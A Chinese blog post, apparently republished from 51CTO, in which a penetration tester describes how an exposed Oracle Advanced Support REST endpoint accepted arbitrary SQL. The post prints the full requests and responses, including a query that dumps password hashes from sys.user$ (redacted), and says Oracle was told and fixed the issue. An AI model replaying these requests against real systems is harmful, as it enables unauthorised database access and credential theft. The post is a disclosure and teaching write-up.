閱讀224 返回首頁    go 阿裏雲 go 技術社區[雲棲]


Oracle Advanced Support係統SQL注入漏洞挖掘經驗分享

Oracle Advanced Support係統SQL注入漏洞挖掘經驗分享

Oracle Advanced Support係統SQL注入漏洞分析

一年多前我在客戶的一個外部環境中執行滲透測試,任何外部環境滲透測試的重要步驟之一就是挖掘出可訪問的WEB服務。nmap和EveWitness的結合會令這步驟變得更快,因為我們可以進行端口掃描 並且把這些結果以屏幕截圖的形式導入到 EyeWitness中。當梳理完 EyeWitness提供的屏幕截圖頁麵後,我發現了一個Oracle 高級支持服務。

Oracle Advanced Support係統SQL注入漏洞分析

雖然我之前從沒聽過Oracle Advanced Support,但是當我很快的google完之後,我了解到它似乎是一個允許oracle的技術支持在外部登入,並且在oracle係統環境下進行任何技術支持需要的操作的服務。有了這個信息之後, 我們可以將現有的web應用測試與它結合起來。

我們可以對這個應用開始進行一些簡單的偵查,包括:

  • 尋找已經被爆出的漏洞
  • 用burp爬取應用
  • 枚舉常見的路徑
  • 查看可獲取的頁麵的源碼

幸運的是,我在主頁的源碼中發現了 一個包含資產目錄清單的鏈接。

對於像這樣一個未知的應用,目錄列表是很有用的,它給我們了一些希望去發現一些很有趣 但不應該被訪問到的東西 。果不其然的在搜尋每個目錄之後,我偶然發現了以下的javascript文件:

讓它變得更適合閱讀一些

https://p5.qhimg.com/t01ee9ebd48adeef189.png

在Web滲透測試中,其中一個我喜歡的並且常常忽視的事情是查找應用中的javascript文件, 並且看看他們是否支持任何POST 或者是GET請求。

我們已經發現了一個叫做sql-service.js的javascript文件,這讓我立刻在腦海中提高起警覺來。這個文件包含4個匿名函數其中三個t.getJSON方法的GET請求和一個t.post方法的POST請求。這些函數包含如下一些變量:


  1. getSqlData 
  2. createNamedSql 
  3. getNamedSqlList 
  4. getSqlNameList 

在這篇文章的剩餘部分,我將提及匿名函數中的變量。

每個函數的根節點都位於/rest/data路徑下。

接下來是將他們拆分之後的請求:


  1. GET /rest/data/sql 
  2. POST /rest/data/sql 
  3. GET /rest/data/sql_list 
  4. GET /rest/data/sql_name_list 

有了這些之後,開始拿出我最喜歡的代理工具:burp,看看會發生什麼!

直搗黃龍

我首先嚐試的是來自於getSqlData函數路徑是/rest/data/sql的GET請求。我們也通過觀察javascript發現這個請求需要附加一個參數,讓我們在結尾加上”test”.


  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  
  3. HTTP Response: 
  4. HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

當我們把”test”加到請求url的末尾,服務器返回了404。同時服務器也返回了這樣一個信息:Named SQL not found。如果我們嚐試”test”之外的其他字符串,得到了同樣的返回信息。我們把這個請求發到Burp 的 intruder模塊,打算試圖過一個目錄列表字典來枚舉潛在的參數名,看看是否能得到除了404之外的返回。但是有一個更簡單的方法來找到合適的參數名。如果我們再次查看javascript,你會發現函數的名稱給我們一些有價值的信息。我們在以下函數中發現了兩個GET請求:getNamedSqlList 和 getSqlNameList.。我們剛才的請求返回的錯誤信息是 Named SQL not found error。讓我們嚐試針對getNamedSqlList函數的GET請求。


  1. HTTP Request: 
  2. GET /rest/data/sql_list HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Connection: close 
  14. Content-Length: 243633 
  15. [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 
  16. … 

這的確給了我們不少的信息,讓我們仔細分析一下,我們獲得了一組json對象,看一下數組中的第一個對象:


  1. {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

我們發現了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因為它包含了具有字符串值的SQL語句。我們把name的值放進先前嚐試的GET請求中。


  1. HTTP Request: 
  2. GET /rest/data/sql/sample HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: application/json 
  13. Content-Length: 44 
  14. Connection: close 
  15. Bad Request.Param value not defined for time 

Hey!我們得到一些返回!但是我們少了一個參數,讓我們加進來。


  1. HTTP Request: 
  2. GET /rest/data/sql/sample?time=1 HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 2 
  14. Connection: close 

雖然沒有從服務器獲得任何返回,但是也沒有返回任何錯誤!難道是例子中的SQL語句被執行了,隻是沒有回顯?我們可以繼續嚐試其他的從先前請求中獲得的names,但是我們看一下原始的javascript。我們發現有一個叫做createNamedSQL的函數,它是一個POST的請求。我們知道來至於getNamedSqlList 的請求的返回值包含了sql語句的值。也許是這個post請求會允許我們在服務器上 執行sql查詢。我們試一下!

SQL Execution

這就是createNamedSQL中在包體裏麵包含一個空json對象的POST請求:


  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. {} 
  11. HTTP Response: 
  12. HTTP/1.1 500 Internal Server Error 
  13. Content-Type: text/html 
  14. Content-Length: 71 
  15. Connection: close 
  16. A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

我們得到一個關於SQL_NAME列的錯誤,當我們在包體中包含空的json對象時這不是很意外。現在我們在包體裏加入一個隨機的屬性名和數值。


  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 16 
  8. Content-Type: application/json;charset=UTF-8 
  9. {"test":1} 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: text/plain 
  13. Content-Length: 365 
  14. Connection: close 
  15. Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
  16. &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

再一次不意外的獲得了一個關於未知“test”字段的bad request,但是如果你注意的話,這個錯誤的信息給我們返回了一些有用的屬性。感謝 Oracle先生的服務!這些屬性也同樣出現了從getNamedSqlList發出請求獲得的返回中。我使用getNamedSqlList請求的返回中其中的一個值賦給dataSourceJNDI屬性。


  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 101 
  8. Content-Type: application/json;charset=UTF-8 
  9.     "name": "test", 
  10.     "sql":"select @@version", 
  11.     "dataSourceJNDI":"jdbc/portal" 

這看起來是一個很好的測試請求,我們來見證一下 他是否有效。


  1. HTTP Response: 
  2. HTTP/1.1 500 Internal Server Error  
  3. Content-Type: text/plain 
  4. Content-Length: 200 
  5. Connection: close 
  6. A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

我們仍然從服務器獲得了一個錯誤返回,但是隻返回了content-type。SQL語句可能已經被創建了。通過把名稱字段設為“test”, 讓我們嚐試第一個具有參數的GET請求。


  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 24 
  14. Connection: close 
  15. [{"@@version":"5.5.37"}] 

看這裏!我們獲得了一些SQL執行。

看一下“我們”是誰。


  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 101 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test2", 
  11.     "sql":"SELECT USER from dual;", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test2 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 19 
  26. Connection: close 
  27. [{"USER":"SYSMAN"}] 

看起來我們是SYSMAN 用戶。通過這個oracal 文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我們就是administrator.

試一下 我們能否抓取出用戶的哈希.


  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 120 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test3", 
  11.     "sql":"SELECT name, password FROM sys.user$", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test3 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 5357 
  26. Connection: close 
  27. [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 
  28. … 

我們可以獲得數據庫中的用戶密碼的哈希值。我編輯和刪除了主要的部分。知道了我們是一個具有administrator權限的用戶,當然後續我們還可以做很多事情。然而,針對此博客的目的,我停止下來了。

結論

關於這個匿名sql執行我聯係了oracle,他們很快的回複並且修複了這個問題。對我而言真正的問題是為什麼web服務壓根兒就允許sql語句被執行呢?

這個博客最大的收獲是一定要看應用中的javascript文件。在多個web應用和外網的滲透測試中,我已經發現了隱藏在javascript文件中sql 注入,命令執行,和 xml實體注入攻擊。

作為針對熟練滲透測試者的練習任務,看完這篇博客並且統計多少個你能確定的漏洞。提示:超過三處。


本文作者:Carpediem

來源:51CTO

最後更新:2017-11-03 11:04:28

  上一篇:go  利用PowerShell代碼注入漏洞繞過受限語言模式
  下一篇:go  人工智能醫療最新成果百度醫療大腦上線